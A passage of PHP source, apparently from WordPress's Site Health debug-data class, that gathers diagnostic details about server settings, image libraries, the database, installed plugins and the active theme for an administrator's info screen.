					'value' => $concatenate_scripts,
					'debug' => $concatenate_scripts_debug,
				),
				'COMPRESS_SCRIPTS'    => array(
					'label' => 'COMPRESS_SCRIPTS',
					'value' => $compress_scripts,
					'debug' => $compress_scripts_debug,
				),
				'COMPRESS_CSS'        => array(
					'label' => 'COMPRESS_CSS',
					'value' => $compress_css,
					'debug' => $compress_css_debug,
				),
				'WP_ENVIRONMENT_TYPE' => array(
					'label' => 'WP_ENVIRONMENT_TYPE',
					'value' => $wp_environment_type,
					'debug' => $wp_environment_type,
				),
				'WP_DEVELOPMENT_MODE' => array(
					'label' => 'WP_DEVELOPMENT_MODE',
					'value' => WP_DEVELOPMENT_MODE ? WP_DEVELOPMENT_MODE : __( 'Disabled' ),
					'debug' => WP_DEVELOPMENT_MODE,
				),
				'DB_CHARSET'          => array(
					'label' => 'DB_CHARSET',
					'value' => ( defined( 'DB_CHARSET' ) ? DB_CHARSET : __( 'Undefined' ) ),
					'debug' => ( defined( 'DB_CHARSET' ) ? DB_CHARSET : 'undefined' ),
				),
				'DB_COLLATE'          => array(
					'label' => 'DB_COLLATE',
					'value' => ( defined( 'DB_COLLATE' ) ? DB_COLLATE : __( 'Undefined' ) ),
					'debug' => ( defined( 'DB_COLLATE' ) ? DB_COLLATE : 'undefined' ),
				),
			),
		);

		$is_writable_abspath            = wp_is_writable( ABSPATH );
		$is_writable_wp_content_dir     = wp_is_writable( WP_CONTENT_DIR );
		$is_writable_upload_dir         = wp_is_writable( $upload_dir['basedir'] );
		$is_writable_wp_plugin_dir      = wp_is_writable( WP_PLUGIN_DIR );
		$is_writable_template_directory = wp_is_writable( get_theme_root( get_template() ) );

		$info['wp-filesystem'] = array(
			'label'       => __( 'Filesystem Permissions' ),
			'description' => __( 'Shows whether WordPress is able to write to the directories it needs access to.' ),
			'fields'      => array(
				'wordpress'  => array(
					'label' => __( 'The main WordPress directory' ),
					'value' => ( $is_writable_abspath ? __( 'Writable' ) : __( 'Not writable' ) ),
					'debug' => ( $is_writable_abspath ? 'writable' : 'not writable' ),
				),
				'wp-content' => array(
					'label' => __( 'The wp-content directory' ),
					'value' => ( $is_writable_wp_content_dir ? __( 'Writable' ) : __( 'Not writable' ) ),
					'debug' => ( $is_writable_wp_content_dir ? 'writable' : 'not writable' ),
				),
				'uploads'    => array(
					'label' => __( 'The uploads directory' ),
					'value' => ( $is_writable_upload_dir ? __( 'Writable' ) : __( 'Not writable' ) ),
					'debug' => ( $is_writable_upload_dir ? 'writable' : 'not writable' ),
				),
				'plugins'    => array(
					'label' => __( 'The plugins directory' ),
					'value' => ( $is_writable_wp_plugin_dir ? __( 'Writable' ) : __( 'Not writable' ) ),
					'debug' => ( $is_writable_wp_plugin_dir ? 'writable' : 'not writable' ),
				),
				'themes'     => array(
					'label' => __( 'The themes directory' ),
					'value' => ( $is_writable_template_directory ? __( 'Writable' ) : __( 'Not writable' ) ),
					'debug' => ( $is_writable_template_directory ? 'writable' : 'not writable' ),
				),
			),
		);

		// Conditionally add debug information for multisite setups.
		if ( is_multisite() ) {
			$site_id = get_current_blog_id();

			$info['wp-core']['fields']['site_id'] = array(
				'label' => __( 'Site ID' ),
				'value' => $site_id,
				'debug' => $site_id,
			);

			$network_query = new WP_Network_Query();
			$network_ids   = $network_query->query(
				array(
					'fields'        => 'ids',
					'number'        => 100,
					'no_found_rows' => false,
				)
			);

			$site_count = 0;
			foreach ( $network_ids as $network_id ) {
				$site_count += get_blog_count( $network_id );
			}

			$info['wp-core']['fields']['site_count'] = array(
				'label' => __( 'Site count' ),
				'value' => $site_count,
			);

			$info['wp-core']['fields']['network_count'] = array(
				'label' => __( 'Network count' ),
				'value' => $network_query->found_networks,
			);
		}

		$info['wp-core']['fields']['user_count'] = array(
			'label' => __( 'User count' ),
			'value' => get_user_count(),
		);

		// WordPress features requiring processing.
		$wp_dotorg = wp_remote_get( 'https://wordpress.org', array( 'timeout' => 10 ) );

		if ( ! is_wp_error( $wp_dotorg ) ) {
			$info['wp-core']['fields']['dotorg_communication'] = array(
				'label' => __( 'Communication with WordPress.org' ),
				'value' => __( 'WordPress.org is reachable' ),
				'debug' => 'true',
			);
		} else {
			$info['wp-core']['fields']['dotorg_communication'] = array(
				'label' => __( 'Communication with WordPress.org' ),
				'value' => sprintf(
					/* translators: 1: The IP address WordPress.org resolves to. 2: The error returned by the lookup. */
					__( 'Unable to reach WordPress.org at %1$s: %2$s' ),
					gethostbyname( 'wordpress.org' ),
					$wp_dotorg->get_error_message()
				),
				'debug' => $wp_dotorg->get_error_message(),
			);
		}

		// Remove accordion for Directories and Sizes if in Multisite.
		if ( ! $is_multisite ) {
			$loading = __( 'Loading&hellip;' );

			$info['wp-paths-sizes']['fields'] = array(
				'wordpress_path' => array(
					'label' => __( 'WordPress directory location' ),
					'value' => untrailingslashit( ABSPATH ),
				),
				'wordpress_size' => array(
					'label' => __( 'WordPress directory size' ),
					'value' => $loading,
					'debug' => 'loading...',
				),
				'uploads_path'   => array(
					'label' => __( 'Uploads directory location' ),
					'value' => $upload_dir['basedir'],
				),
				'uploads_size'   => array(
					'label' => __( 'Uploads directory size' ),
					'value' => $loading,
					'debug' => 'loading...',
				),
				'themes_path'    => array(
					'label' => __( 'Themes directory location' ),
					'value' => get_theme_root(),
				),
				'themes_size'    => array(
					'label' => __( 'Themes directory size' ),
					'value' => $loading,
					'debug' => 'loading...',
				),
				'plugins_path'   => array(
					'label' => __( 'Plugins directory location' ),
					'value' => WP_PLUGIN_DIR,
				),
				'plugins_size'   => array(
					'label' => __( 'Plugins directory size' ),
					'value' => $loading,
					'debug' => 'loading...',
				),
				'database_size'  => array(
					'label' => __( 'Database size' ),
					'value' => $loading,
					'debug' => 'loading...',
				),
				'total_size'     => array(
					'label' => __( 'Total installation size' ),
					'value' => $loading,
					'debug' => 'loading...',
				),
			);
		}

		// Get a list of all drop-in replacements.
		$dropins = get_dropins();

		// Get dropins descriptions.
		$dropin_descriptions = _get_dropins();

		// Spare few function calls.
		$not_available = __( 'Not available' );

		foreach ( $dropins as $dropin_key => $dropin ) {
			$info['wp-dropins']['fields'][ sanitize_text_field( $dropin_key ) ] = array(
				'label' => $dropin_key,
				'value' => $dropin_descriptions[ $dropin_key ][0],
				'debug' => 'true',
			);
		}

		// Populate the media fields.
		$info['wp-media']['fields']['image_editor'] = array(
			'label' => __( 'Active editor' ),
			'value' => _wp_image_editor_choose(),
		);

		// Get ImageMagic information, if available.
		if ( class_exists( 'Imagick' ) ) {
			// Save the Imagick instance for later use.
			$imagick             = new Imagick();
			$imagemagick_version = $imagick->getVersion();
		} else {
			$imagemagick_version = __( 'Not available' );
		}

		$info['wp-media']['fields']['imagick_module_version'] = array(
			'label' => __( 'ImageMagick version number' ),
			'value' => ( is_array( $imagemagick_version ) ? $imagemagick_version['versionNumber'] : $imagemagick_version ),
		);

		$info['wp-media']['fields']['imagemagick_version'] = array(
			'label' => __( 'ImageMagick version string' ),
			'value' => ( is_array( $imagemagick_version ) ? $imagemagick_version['versionString'] : $imagemagick_version ),
		);

		$imagick_version = phpversion( 'imagick' );

		$info['wp-media']['fields']['imagick_version'] = array(
			'label' => __( 'Imagick version' ),
			'value' => ( $imagick_version ) ? $imagick_version : __( 'Not available' ),
		);

		if ( ! function_exists( 'ini_get' ) ) {
			$info['wp-media']['fields']['ini_get'] = array(
				'label' => __( 'File upload settings' ),
				'value' => sprintf(
					/* translators: %s: ini_get() */
					__( 'Unable to determine some settings, as the %s function has been disabled.' ),
					'ini_get()'
				),
				'debug' => 'ini_get() is disabled',
			);
		} else {
			// Get the PHP ini directive values.
			$file_uploads        = ini_get( 'file_uploads' );
			$post_max_size       = ini_get( 'post_max_size' );
			$upload_max_filesize = ini_get( 'upload_max_filesize' );
			$max_file_uploads    = ini_get( 'max_file_uploads' );
			$effective           = min( wp_convert_hr_to_bytes( $post_max_size ), wp_convert_hr_to_bytes( $upload_max_filesize ) );

			// Add info in Media section.
			$info['wp-media']['fields']['file_uploads']        = array(
				'label' => __( 'File uploads' ),
				'value' => $file_uploads ? __( 'Enabled' ) : __( 'Disabled' ),
				'debug' => $file_uploads,
			);
			$info['wp-media']['fields']['post_max_size']       = array(
				'label' => __( 'Max size of post data allowed' ),
				'value' => $post_max_size,
			);
			$info['wp-media']['fields']['upload_max_filesize'] = array(
				'label' => __( 'Max size of an uploaded file' ),
				'value' => $upload_max_filesize,
			);
			$info['wp-media']['fields']['max_effective_size']  = array(
				'label' => __( 'Max effective file size' ),
				'value' => size_format( $effective ),
			);
			$info['wp-media']['fields']['max_file_uploads']    = array(
				'label' => __( 'Max number of files allowed' ),
				'value' => number_format( $max_file_uploads ),
			);
		}

		// If Imagick is used as our editor, provide some more information about its limitations.
		if ( 'WP_Image_Editor_Imagick' === _wp_image_editor_choose() && isset( $imagick ) && $imagick instanceof Imagick ) {
			$limits = array(
				'area'   => ( defined( 'imagick::RESOURCETYPE_AREA' ) ? size_format( $imagick->getResourceLimit( imagick::RESOURCETYPE_AREA ) ) : $not_available ),
				'disk'   => ( defined( 'imagick::RESOURCETYPE_DISK' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_DISK ) : $not_available ),
				'file'   => ( defined( 'imagick::RESOURCETYPE_FILE' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_FILE ) : $not_available ),
				'map'    => ( defined( 'imagick::RESOURCETYPE_MAP' ) ? size_format( $imagick->getResourceLimit( imagick::RESOURCETYPE_MAP ) ) : $not_available ),
				'memory' => ( defined( 'imagick::RESOURCETYPE_MEMORY' ) ? size_format( $imagick->getResourceLimit( imagick::RESOURCETYPE_MEMORY ) ) : $not_available ),
				'thread' => ( defined( 'imagick::RESOURCETYPE_THREAD' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_THREAD ) : $not_available ),
				'time'   => ( defined( 'imagick::RESOURCETYPE_TIME' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_TIME ) : $not_available ),
			);

			$limits_debug = array(
				'imagick::RESOURCETYPE_AREA'   => ( defined( 'imagick::RESOURCETYPE_AREA' ) ? size_format( $imagick->getResourceLimit( imagick::RESOURCETYPE_AREA ) ) : 'not available' ),
				'imagick::RESOURCETYPE_DISK'   => ( defined( 'imagick::RESOURCETYPE_DISK' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_DISK ) : 'not available' ),
				'imagick::RESOURCETYPE_FILE'   => ( defined( 'imagick::RESOURCETYPE_FILE' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_FILE ) : 'not available' ),
				'imagick::RESOURCETYPE_MAP'    => ( defined( 'imagick::RESOURCETYPE_MAP' ) ? size_format( $imagick->getResourceLimit( imagick::RESOURCETYPE_MAP ) ) : 'not available' ),
				'imagick::RESOURCETYPE_MEMORY' => ( defined( 'imagick::RESOURCETYPE_MEMORY' ) ? size_format( $imagick->getResourceLimit( imagick::RESOURCETYPE_MEMORY ) ) : 'not available' ),
				'imagick::RESOURCETYPE_THREAD' => ( defined( 'imagick::RESOURCETYPE_THREAD' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_THREAD ) : 'not available' ),
				'imagick::RESOURCETYPE_TIME'   => ( defined( 'imagick::RESOURCETYPE_TIME' ) ? $imagick->getResourceLimit( imagick::RESOURCETYPE_TIME ) : 'not available' ),
			);

			$info['wp-media']['fields']['imagick_limits'] = array(
				'label' => __( 'Imagick Resource Limits' ),
				'value' => $limits,
				'debug' => $limits_debug,
			);

			try {
				$formats = Imagick::queryFormats( '*' );
			} catch ( Exception $e ) {
				$formats = array();
			}

			$info['wp-media']['fields']['imagemagick_file_formats'] = array(
				'label' => __( 'ImageMagick supported file formats' ),
				'value' => ( empty( $formats ) ) ? __( 'Unable to determine' ) : implode( ', ', $formats ),
				'debug' => ( empty( $formats ) ) ? 'Unable to determine' : implode( ', ', $formats ),
			);
		}

		// Get GD information, if available.
		if ( function_exists( 'gd_info' ) ) {
			$gd = gd_info();
		} else {
			$gd = false;
		}

		$info['wp-media']['fields']['gd_version'] = array(
			'label' => __( 'GD version' ),
			'value' => ( is_array( $gd ) ? $gd['GD Version'] : $not_available ),
			'debug' => ( is_array( $gd ) ? $gd['GD Version'] : 'not available' ),
		);

		$gd_image_formats     = array();
		$gd_supported_formats = array(
			'GIF Create' => 'GIF',
			'JPEG'       => 'JPEG',
			'PNG'        => 'PNG',
			'WebP'       => 'WebP',
			'BMP'        => 'BMP',
			'AVIF'       => 'AVIF',
			'HEIF'       => 'HEIF',
			'TIFF'       => 'TIFF',
			'XPM'        => 'XPM',
		);

		foreach ( $gd_supported_formats as $format_key => $format ) {
			$index = $format_key . ' Support';
			if ( isset( $gd[ $index ] ) && $gd[ $index ] ) {
				array_push( $gd_image_formats, $format );
			}
		}

		if ( ! empty( $gd_image_formats ) ) {
			$info['wp-media']['fields']['gd_formats'] = array(
				'label' => __( 'GD supported file formats' ),
				'value' => implode( ', ', $gd_image_formats ),
			);
		}

		// Get Ghostscript information, if available.
		if ( function_exists( 'exec' ) ) {
			$gs = exec( 'gs --version' );

			if ( empty( $gs ) ) {
				$gs       = $not_available;
				$gs_debug = 'not available';
			} else {
				$gs_debug = $gs;
			}
		} else {
			$gs       = __( 'Unable to determine if Ghostscript is installed' );
			$gs_debug = 'unknown';
		}

		$info['wp-media']['fields']['ghostscript_version'] = array(
			'label' => __( 'Ghostscript version' ),
			'value' => $gs,
			'debug' => $gs_debug,
		);

		// Populate the server debug fields.
		if ( function_exists( 'php_uname' ) ) {
			$server_architecture = sprintf( '%s %s %s', php_uname( 's' ), php_uname( 'r' ), php_uname( 'm' ) );
		} else {
			$server_architecture = 'unknown';
		}

		$php_version_debug = PHP_VERSION;
		// Whether PHP supports 64-bit.
		$php64bit = ( PHP_INT_SIZE * 8 === 64 );

		$php_version = sprintf(
			'%s %s',
			$php_version_debug,
			( $php64bit ? __( '(Supports 64bit values)' ) : __( '(Does not support 64bit values)' ) )
		);

		if ( $php64bit ) {
			$php_version_debug .= ' 64bit';
		}

		$info['wp-server']['fields']['server_architecture'] = array(
			'label' => __( 'Server architecture' ),
			'value' => ( 'unknown' !== $server_architecture ? $server_architecture : __( 'Unable to determine server architecture' ) ),
			'debug' => $server_architecture,
		);
		$info['wp-server']['fields']['httpd_software']      = array(
			'label' => __( 'Web server' ),
			'value' => ( isset( $_SERVER['SERVER_SOFTWARE'] ) ? $_SERVER['SERVER_SOFTWARE'] : __( 'Unable to determine what web server software is used' ) ),
			'debug' => ( isset( $_SERVER['SERVER_SOFTWARE'] ) ? $_SERVER['SERVER_SOFTWARE'] : 'unknown' ),
		);
		$info['wp-server']['fields']['php_version']         = array(
			'label' => __( 'PHP version' ),
			'value' => $php_version,
			'debug' => $php_version_debug,
		);
		$info['wp-server']['fields']['php_sapi']            = array(
			'label' => __( 'PHP SAPI' ),
			'value' => PHP_SAPI,
			'debug' => PHP_SAPI,
		);

		// Some servers disable `ini_set()` and `ini_get()`, we check this before trying to get configuration values.
		if ( ! function_exists( 'ini_get' ) ) {
			$info['wp-server']['fields']['ini_get'] = array(
				'label' => __( 'Server settings' ),
				'value' => sprintf(
					/* translators: %s: ini_get() */
					__( 'Unable to determine some settings, as the %s function has been disabled.' ),
					'ini_get()'
				),
				'debug' => 'ini_get() is disabled',
			);
		} else {
			$info['wp-server']['fields']['max_input_variables'] = array(
				'label' => __( 'PHP max input variables' ),
				'value' => ini_get( 'max_input_vars' ),
			);
			$info['wp-server']['fields']['time_limit']          = array(
				'label' => __( 'PHP time limit' ),
				'value' => ini_get( 'max_execution_time' ),
			);

			if ( WP_Site_Health::get_instance()->php_memory_limit !== ini_get( 'memory_limit' ) ) {
				$info['wp-server']['fields']['memory_limit']       = array(
					'label' => __( 'PHP memory limit' ),
					'value' => WP_Site_Health::get_instance()->php_memory_limit,
				);
				$info['wp-server']['fields']['admin_memory_limit'] = array(
					'label' => __( 'PHP memory limit (only for admin screens)' ),
					'value' => ini_get( 'memory_limit' ),
				);
			} else {
				$info['wp-server']['fields']['memory_limit'] = array(
					'label' => __( 'PHP memory limit' ),
					'value' => ini_get( 'memory_limit' ),
				);
			}

			$info['wp-server']['fields']['max_input_time']      = array(
				'label' => __( 'Max input time' ),
				'value' => ini_get( 'max_input_time' ),
			);
			$info['wp-server']['fields']['upload_max_filesize'] = array(
				'label' => __( 'Upload max filesize' ),
				'value' => ini_get( 'upload_max_filesize' ),
			);
			$info['wp-server']['fields']['php_post_max_size']   = array(
				'label' => __( 'PHP post max size' ),
				'value' => ini_get( 'post_max_size' ),
			);
		}

		if ( function_exists( 'curl_version' ) ) {
			$curl = curl_version();

			$info['wp-server']['fields']['curl_version'] = array(
				'label' => __( 'cURL version' ),
				'value' => sprintf( '%s %s', $curl['version'], $curl['ssl_version'] ),
			);
		} else {
			$info['wp-server']['fields']['curl_version'] = array(
				'label' => __( 'cURL version' ),
				'value' => $not_available,
				'debug' => 'not available',
			);
		}

		// SUHOSIN.
		$suhosin_loaded = ( extension_loaded( 'suhosin' ) || ( defined( 'SUHOSIN_PATCH' ) && constant( 'SUHOSIN_PATCH' ) ) );

		$info['wp-server']['fields']['suhosin'] = array(
			'label' => __( 'Is SUHOSIN installed?' ),
			'value' => ( $suhosin_loaded ? __( 'Yes' ) : __( 'No' ) ),
			'debug' => $suhosin_loaded,
		);

		// Imagick.
		$imagick_loaded = extension_loaded( 'imagick' );

		$info['wp-server']['fields']['imagick_availability'] = array(
			'label' => __( 'Is the Imagick library available?' ),
			'value' => ( $imagick_loaded ? __( 'Yes' ) : __( 'No' ) ),
			'debug' => $imagick_loaded,
		);

		// Pretty permalinks.
		$pretty_permalinks_supported = got_url_rewrite();

		$info['wp-server']['fields']['pretty_permalinks'] = array(
			'label' => __( 'Are pretty permalinks supported?' ),
			'value' => ( $pretty_permalinks_supported ? __( 'Yes' ) : __( 'No' ) ),
			'debug' => $pretty_permalinks_supported,
		);

		// Check if a .htaccess file exists.
		if ( is_file( ABSPATH . '.htaccess' ) ) {
			// If the file exists, grab the content of it.
			$htaccess_content = file_get_contents( ABSPATH . '.htaccess' );

			// Filter away the core WordPress rules.
			$filtered_htaccess_content = trim( preg_replace( '/\# BEGIN WordPress[\s\S]+?# END WordPress/si', '', $htaccess_content ) );
			$filtered_htaccess_content = ! empty( $filtered_htaccess_content );

			if ( $filtered_htaccess_content ) {
				/* translators: %s: .htaccess */
				$htaccess_rules_string = sprintf( __( 'Custom rules have been added to your %s file.' ), '.htaccess' );
			} else {
				/* translators: %s: .htaccess */
				$htaccess_rules_string = sprintf( __( 'Your %s file contains only core WordPress features.' ), '.htaccess' );
			}

			$info['wp-server']['fields']['htaccess_extra_rules'] = array(
				'label' => __( '.htaccess rules' ),
				'value' => $htaccess_rules_string,
				'debug' => $filtered_htaccess_content,
			);
		}

		// Server time.
		$date = new DateTime( 'now', new DateTimeZone( 'UTC' ) );

		$info['wp-server']['fields']['current']     = array(
			'label' => __( 'Current time' ),
			'value' => $date->format( DateTime::ATOM ),
		);
		$info['wp-server']['fields']['utc-time']    = array(
			'label' => __( 'Current UTC time' ),
			'value' => $date->format( DateTime::RFC850 ),
		);
		$info['wp-server']['fields']['server-time'] = array(
			'label' => __( 'Current Server time' ),
			'value' => wp_date( 'c', $_SERVER['REQUEST_TIME'] ),
		);

		// Populate the database debug fields.
		if ( is_object( $wpdb->dbh ) ) {
			// mysqli or PDO.
			$extension = get_class( $wpdb->dbh );
		} else {
			// Unknown sql extension.
			$extension = null;
		}

		$server = $wpdb->get_var( 'SELECT VERSION()' );

		$client_version = $wpdb->dbh->client_info;

		$info['wp-database']['fields']['extension'] = array(
			'label' => __( 'Extension' ),
			'value' => $extension,
		);

		$info['wp-database']['fields']['server_version'] = array(
			'label' => __( 'Server version' ),
			'value' => $server,
		);

		$info['wp-database']['fields']['client_version'] = array(
			'label' => __( 'Client version' ),
			'value' => $client_version,
		);

		$info['wp-database']['fields']['database_user'] = array(
			'label'   => __( 'Database username' ),
			'value'   => $wpdb->dbuser,
			'private' => true,
		);

		$info['wp-database']['fields']['database_host'] = array(
			'label'   => __( 'Database host' ),
			'value'   => $wpdb->dbhost,
			'private' => true,
		);

		$info['wp-database']['fields']['database_name'] = array(
			'label'   => __( 'Database name' ),
			'value'   => $wpdb->dbname,
			'private' => true,
		);

		$info['wp-database']['fields']['database_prefix'] = array(
			'label'   => __( 'Table prefix' ),
			'value'   => $wpdb->prefix,
			'private' => true,
		);

		$info['wp-database']['fields']['database_charset'] = array(
			'label'   => __( 'Database charset' ),
			'value'   => $wpdb->charset,
			'private' => true,
		);

		$info['wp-database']['fields']['database_collate'] = array(
			'label'   => __( 'Database collation' ),
			'value'   => $wpdb->collate,
			'private' => true,
		);

		$info['wp-database']['fields']['max_allowed_packet'] = array(
			'label' => __( 'Max allowed packet size' ),
			'value' => self::get_mysql_var( 'max_allowed_packet' ),
		);

		$info['wp-database']['fields']['max_connections'] = array(
			'label' => __( 'Max connections number' ),
			'value' => self::get_mysql_var( 'max_connections' ),
		);

		// List must use plugins if there are any.
		$mu_plugins = get_mu_plugins();

		foreach ( $mu_plugins as $plugin_path => $plugin ) {
			$plugin_version = $plugin['Version'];
			$plugin_author  = $plugin['Author'];

			$plugin_version_string       = __( 'No version or author information is available.' );
			$plugin_version_string_debug = 'author: (undefined), version: (undefined)';

			if ( ! empty( $plugin_version ) && ! empty( $plugin_author ) ) {
				/* translators: 1: Plugin version number. 2: Plugin author name. */
				$plugin_version_string       = sprintf( __( 'Version %1$s by %2$s' ), $plugin_version, $plugin_author );
				$plugin_version_string_debug = sprintf( 'version: %s, author: %s', $plugin_version, $plugin_author );
			} else {
				if ( ! empty( $plugin_author ) ) {
					/* translators: %s: Plugin author name. */
					$plugin_version_string       = sprintf( __( 'By %s' ), $plugin_author );
					$plugin_version_string_debug = sprintf( 'author: %s, version: (undefined)', $plugin_author );
				}

				if ( ! empty( $plugin_version ) ) {
					/* translators: %s: Plugin version number. */
					$plugin_version_string       = sprintf( __( 'Version %s' ), $plugin_version );
					$plugin_version_string_debug = sprintf( 'author: (undefined), version: %s', $plugin_version );
				}
			}

			$info['wp-mu-plugins']['fields'][ sanitize_text_field( $plugin['Name'] ) ] = array(
				'label' => $plugin['Name'],
				'value' => $plugin_version_string,
				'debug' => $plugin_version_string_debug,
			);
		}

		// List all available plugins.
		$plugins        = get_plugins();
		$plugin_updates = get_plugin_updates();
		$transient      = get_site_transient( 'update_plugins' );

		$auto_updates = array();

		$auto_updates_enabled = wp_is_auto_update_enabled_for_type( 'plugin' );

		if ( $auto_updates_enabled ) {
			$auto_updates = (array) get_site_option( 'auto_update_plugins', array() );
		}

		foreach ( $plugins as $plugin_path => $plugin ) {
			$plugin_part = ( is_plugin_active( $plugin_path ) ) ? 'wp-plugins-active' : 'wp-plugins-inactive';

			$plugin_version = $plugin['Version'];
			$plugin_author  = $plugin['Author'];

			$plugin_version_string       = __( 'No version or author information is available.' );
			$plugin_version_string_debug = 'author: (undefined), version: (undefined)';

			if ( ! empty( $plugin_version ) && ! empty( $plugin_author ) ) {
				/* translators: 1: Plugin version number. 2: Plugin author name. */
				$plugin_version_string       = sprintf( __( 'Version %1$s by %2$s' ), $plugin_version, $plugin_author );
				$plugin_version_string_debug = sprintf( 'version: %s, author: %s', $plugin_version, $plugin_author );
			} else {
				if ( ! empty( $plugin_author ) ) {
					/* translators: %s: Plugin author name. */
					$plugin_version_string       = sprintf( __( 'By %s' ), $plugin_author );
					$plugin_version_string_debug = sprintf( 'author: %s, version: (undefined)', $plugin_author );
				}

				if ( ! empty( $plugin_version ) ) {
					/* translators: %s: Plugin version number. */
					$plugin_version_string       = sprintf( __( 'Version %s' ), $plugin_version );
					$plugin_version_string_debug = sprintf( 'author: (undefined), version: %s', $plugin_version );
				}
			}

			if ( array_key_exists( $plugin_path, $plugin_updates ) ) {
				/* translators: %s: Latest plugin version number. */
				$plugin_version_string       .= ' ' . sprintf( __( '(Latest version: %s)' ), $plugin_updates[ $plugin_path ]->update->new_version );
				$plugin_version_string_debug .= sprintf( ' (latest version: %s)', $plugin_updates[ $plugin_path ]->update->new_version );
			}

			if ( $auto_updates_enabled ) {
				if ( isset( $transient->response[ $plugin_path ] ) ) {
					$item = $transient->response[ $plugin_path ];
				} elseif ( isset( $transient->no_update[ $plugin_path ] ) ) {
					$item = $transient->no_update[ $plugin_path ];
				} else {
					$item = array(
						'id'            => $plugin_path,
						'slug'          => '',
						'plugin'        => $plugin_path,
						'new_version'   => '',
						'url'           => '',
						'package'       => '',
						'icons'         => array(),
						'banners'       => array(),
						'banners_rtl'   => array(),
						'tested'        => '',
						'requires_php'  => '',
						'compatibility' => new stdClass(),
					);
					$item = wp_parse_args( $plugin, $item );
				}

				$auto_update_forced = wp_is_auto_update_forced_for_item( 'plugin', null, (object) $item );

				if ( ! is_null( $auto_update_forced ) ) {
					$enabled = $auto_update_forced;
				} else {
					$enabled = in_array( $plugin_path, $auto_updates, true );
				}

				if ( $enabled ) {
					$auto_updates_string = __( 'Auto-updates enabled' );
				} else {
					$auto_updates_string = __( 'Auto-updates disabled' );
				}

				/**
				 * Filters the text string of the auto-updates setting for each plugin in the Site Health debug data.
				 *
				 * @since 5.5.0
				 *
				 * @param string $auto_updates_string The string output for the auto-updates column.
				 * @param string $plugin_path         The path to the plugin file.
				 * @param array  $plugin              An array of plugin data.
				 * @param bool   $enabled             Whether auto-updates are enabled for this item.
				 */
				$auto_updates_string = apply_filters( 'plugin_auto_update_debug_string', $auto_updates_string, $plugin_path, $plugin, $enabled );

				$plugin_version_string       .= ' | ' . $auto_updates_string;
				$plugin_version_string_debug .= ', ' . $auto_updates_string;
			}

			$info[ $plugin_part ]['fields'][ sanitize_text_field( $plugin['Name'] ) ] = array(
				'label' => $plugin['Name'],
				'value' => $plugin_version_string,
				'debug' => $plugin_version_string_debug,
			);
		}

		// Populate the section for the currently active theme.
		$theme_features = array();

		if ( ! empty( $_wp_theme_features ) ) {
			foreach ( $_wp_theme_features as $feature => $options ) {
				$theme_features[] = $feature;
			}
		}

		$active_theme  = wp_get_theme();
		$theme_updates = get_theme_updates();
		$transient     = get_site_transient( 'update_themes' );

		$active_theme_version       = $active_theme->version;
		$active_theme_version_debug = $active_theme_version;

		$auto_updates         = array();
		$auto_updates_enabled = wp_is_auto_update_enabled_for_type( 'theme' );
		if ( $auto_updates_enabled ) {
			$auto_updates = (array) get_site_option( 'auto_update_themes', array() );
		}

		if ( array_key_exists( $active_theme->stylesheet, $theme_updates ) ) {
			$theme_update_new_version = $theme_updates[ $active_theme->stylesheet ]->update['new_version'];

			/* translators: %s: Latest theme version number. */
			$active_theme_version       .= ' ' . sprintf( __( '(Latest version: %s)' ), $theme_update_new_version );
			$active_theme_version_debug .= sprintf( ' (latest version: %s)', $theme_update_new_version );
		}

		$active_theme_author_uri = $active_theme->display( 'AuthorURI' );

		if ( $active_theme->parent_theme ) {
			$active_theme_parent_theme = sprintf(
				/* translators: 1: Theme name. 2: Theme slug. */
				__( '%1$s (%2$s)' ),
				$active_theme->parent_theme,
				$active_theme->template
			);
			$active_theme_parent_theme_debug = sprintf(
				'%s (%s)',
				$active_theme->parent_theme,
				$active_theme->template
			);
		} else {
			$active_theme_parent_theme       = __( 'None' );
			$active_theme_parent_theme_debug = 'none';
		}

		$info['wp-active-theme']['fields'] = array(
			'name'           => array(
				'label' => __( 'Name' ),
				'value' => sprintf(
					/* translators: 1: Theme name. 2: Theme slug. */
					__( '%1$s (%2$s)' ),
					$active_theme->name,
					$active_theme->stylesheet
				),
			),
			'version'        => array(
				'label' => __( 'Version' ),
				'value' => $active_theme_version,
				'debug' => $active_theme_version_debug,
			),
			'author'         => array(
				'label' => __( 'Author' ),
				'value' => wp_kses( $active_theme->author, array() ),
			),
			'author_website' => array(
				'label' => __( 'Author website' ),
				'value' => ( $active_theme_author_uri ? $active_theme_author_uri : __( 'Undefined' ) ),
				'debug' => ( $active_theme_author_uri ? $active_theme_author_uri : '(undefined)' ),
			),
			'parent_theme'   => array(
				'label' => __( 'Parent theme' ),
				'value' => $active_theme_parent_theme,
				'debug' => $active_theme_parent_theme_debug,
			),
			'theme_features' => array(
				'label' => __( 'Theme features' ),
				'value' => implode( ', ', $theme_features ),
			),
			'theme_path'     => array(
				'label' => __( 'Theme directory location' ),
				'value' => get_stylesheet_directory(),
			),
		);

		if ( $auto_updates_enabled ) {
			if ( isset( $transient->response[ $active_theme->stylesheet ] ) ) {
				$item = $transient->response[ $active_theme->stylesheet ];
			} elseif ( isset( $transient->no_update[ $active_theme->stylesheet ] ) ) {
				$item = $transient->no_update[ $active_theme->stylesheet ];
			} else {
				$item = array(
					'theme'        => $active_theme->stylesheet,
					'new_version'  => $active_theme->version,
					'url'          => '',
					'package'      => '',
					'requires'     => '',
					'requires_php' => '',
				);
			}

			$auto_update_forced = wp_is_auto_update_forced_for_item( 'theme', null, (object) $item );

			if ( ! is_null( $auto_update_forced ) ) {
				$enabled = $auto_update_forced;
			} else {
				$enabled = in_array( $active_theme->stylesheet, $auto_updates, true );
			}

			if ( $enabled ) {
				$auto_updates_string = __( 'Enabled' );
			} else {
				$auto_updates_string = __( 'Disabled' );
			}

			/** This filter is documented in wp-admin/includes/class-wp-debug-data.php */
			$auto_updates_string = apply_filters( 'theme_auto_update_debug_string', $auto_updates_string, $active_theme, $enabled );

			$info['wp-active-theme']['fields']['auto_update'] = array(
				'label' => __( 'Auto-updates' ),
				'value' => $auto_updates_string,
				'debug' => $auto_updates_string,
			);
		}

		$parent_theme = $active_theme->parent();

		if ( $parent_theme ) {
			$parent_theme_version       = $parent_theme->version;
			$parent_theme_version_debug = $parent_theme_version;

			if ( array_key_exists( $parent_theme->stylesheet, $theme_updates ) ) {
